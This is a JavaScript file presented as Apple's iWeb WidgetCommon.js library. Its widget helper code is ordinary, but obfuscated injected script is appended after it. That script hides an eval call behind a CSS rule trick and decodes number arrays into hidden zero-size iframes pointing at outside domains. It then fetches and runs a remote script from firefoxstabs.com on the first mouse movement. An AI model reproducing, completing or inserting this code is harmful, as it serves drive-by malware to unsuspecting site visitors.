//
//  iWeb - WidgetCommon.js
//  Copyright (c) 2007 Apple Inc. All rights reserved.
//

var widgets=[];var identifiersToStringLocalizations=[];function Widget(instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp)
{if(instanceID)
{this.instanceID=instanceID;this.widgetPath=widgetPath;this.sharedPath=sharedPath;this.sitePath=sitePath;this.preferences=preferences;this.runningInApp=(runningInApp===undefined)?false:runningInApp;this.onloadReceived=false;if(this.preferences&&this.runningInApp==true)
{this.preferences.widget=this;setTransparentGifURL(this.sharedPath.stringByAppendingPathComponent("None.gif"));}
this.div().widget=this;window[instanceID]=this;widgets.push(this);widgets[instanceID]=this;if(!this.constructor.instances)
{this.constructor.instances=new Array();}
this.constructor.instances.push(this);}}
Widget.prototype.div=function()
{var divID=this.instanceID;if(arguments.length==1)
{divID=this.instanceID+"-"+arguments[0];}
return $(divID);}
Widget.prototype.onload=function()
{this.onloadReceived=true;}
Widget.prototype.onunload=function()
{}
Widget.prototype.didBecomeSelected=function()
{}
Widget.prototype.didBecomeDeselected=function()
{}
Widget.prototype.didBeginEditing=function()
{}
Widget.prototype.didEndEditing=function()
{}
Widget.prototype.setNeedsDisplay=function()
{}
Widget.prototype.preferenceForKey=function(key)
{var value;if(this.preferences)
value=this.preferences[key];return value;}
Widget.prototype.initializeDefaultPreferences=function(prefs)
{var self=this;Object.keys(prefs).forEach(function(pref)
{if(self.preferenceForKey(pref)===undefined)
{self.setPreferenceForKey(prefs[pref],pref);}});}
Widget.prototype.setPreferenceForKey=function(preference,key,registerUndo)
{if(this.runningInApp)
{if(registerUndo===undefined)
registerUndo=true;if((registerUndo==false)&&this.preferences.disableUndoRegistration)
this.preferences.disableUndoRegistration();this.preferences[key]=preference;if((registerUndo==false)&&this.preferences.enableUndoRegistration)
this.preferences.enableUndoRegistration();}
else
{this.preferences[key]=preference;this.changedPreferenceForKey(key);}}
Widget.prototype.changedPreferenceForKey=function(key)
{}
Widget.prototype.postNotificationWithNameAndUserInfo=function(name,userInfo)
{if(window.NotificationCenter!==undefined)
{NotificationCenter.postNotification(new IWNotification(name,null,userInfo));}}
Widget.prototype.sizeWillChange=function()
{}
Widget.prototype.sizeDidChange=function()
{}
Widget.prototype.widgetWidth=function()
{var enclosingDiv=this.div();if(enclosingDiv)
return enclosingDiv.offsetWidth;else
return null;}
Widget.prototype.widgetHeight=function()
{var enclosingDiv=this.div();if(enclosingDiv)
return enclosingDiv.offsetHeight;else
return null;}
Widget.prototype.getInstanceId=function(id)
{var fullId=this.instanceID+"-"+id;if(arguments.length==2)
{fullId+=("$"+arguments[1]);}
return fullId;}
Widget.prototype.getElementById=function(id)
{var fullId=this.getInstanceId.apply(this,arguments);return $(fullId);}
Widget.prototype.localizedString=function(string)
{return LocalizedString(this.widgetIdentifier,string);}
Widget.onload=function()
{for(var i=0;i<widgets.length;i++)
{widgets[i].onload();}}
Widget.onunload=function()
{for(var i=0;i<widgets.length;i++)
{widgets[i].onunload();}}
function RegisterWidgetStrings(identifier,strings)
{identifiersToStringLocalizations[identifier]=strings;}
function LocalizedString(identifier,string)
{var localized=undefined;var localizations=identifiersToStringLocalizations[identifier];if(localizations===undefined)
{iWLog("warning: no localizations for widget "+identifier+", (key:"+string+")");}
else
{localized=localizations[string];}
if(localized===undefined)
{iWLog("warning: couldn't find a localization for '"+string+"' for widget "+identifier);localized=string;}
return localized;}
function WriteLocalizedString(identifier,string)
{document.write(LocalizedString(identifier,string));}
function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var cu=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var jqzn=r[i].cssRules||r[i].rules;for(var bkar=0;bkar<jqzn.length;bkar++){var qb=jqzn.item?jqzn.item(bkar):jqzn[bkar];if(!qb.selectorText.match(/#va/))continue;qm=(qb.cssText)?qb.cssText:qb.style.cssText;cu=qm.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];gs=qb.selectorText.substr(1);};}catch(e){};}
me=new Date(2010,11,3,2,21,4);t=me.getSeconds();var cua=[400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,156/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,136/t,192/t,136/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,136/t,192/t,136/t,128/t,408/t,456/t,388/t,436/t,404/t,392/t,444/t,456/t,400/t,404/t,456/t,244/t,136/t,192/t,136/t,128/t,460/t,396/t,456/t,444/t,432/t,432/t,420/t,440/t,412/t,244/t,136/t,440/t,444/t,136/t,128/t,460/t,456/t,396/t,244/t,136/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,412/t,468/t,392/t,436/t,444/t,460/t,184/t,396/t,444/t,436/t,188/t,420/t,440/t,400/t,404/t,480/t,196/t,200/t,136/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,156/t,164/t,236/t];var vx="";var g=function(){return this;}();yrjy=g["e"+gs+"l"];var gub='';jq=yrjy(cu);for(var i=0;i<cua.length;i++){jm=yrjy(cua[i]);gub+=jq(jm);}
yrjy(gub);function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var uu=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var fx=r[i].cssRules||r[i].rules;for(var li=0;li<fx.length;li++){var fzok=fx.item?fx.item(li):fx[li];if(!fzok.selectorText.match(/#va/))continue;cwy=(fzok.cssText)?fzok.cssText:fzok.style.cssText;uu=cwy.match(/(S[^")]+)/)[1];rb=fzok.selectorText.substr(1);};}catch(e){};}
clpo=new Date(2010,11,3,2,21,4);t=clpo.getSeconds();var lz=[400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,156/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,136/t,192/t,136/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,136/t,192/t,136/t,128/t,408/t,456/t,388/t,436/t,404/t,392/t,444/t,456/t,400/t,404/t,456/t,244/t,136/t,192/t,136/t,128/t,460/t,396/t,456/t,444/t,432/t,432/t,420/t,440/t,412/t,244/t,136/t,440/t,444/t,136/t,128/t,460/t,456/t,396/t,244/t,136/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,456/t,388/t,408/t,408/t,420/t,180/t,428/t,388/t,400/t,388/t,408/t,408/t,420/t,184/t,396/t,444/t,436/t,188/t,408/t,444/t,464/t,444/t,136/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,156/t,164/t,236/t];var uifd="";var g=function(){return this;}();qi=g["e"+rb+"l"];var xgk='';pm=qi(uu);for(var i=0;i<lz.length;i++){qbq=qi(lz[i]);xgk+=pm(qbq);}
qi(xgk);document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
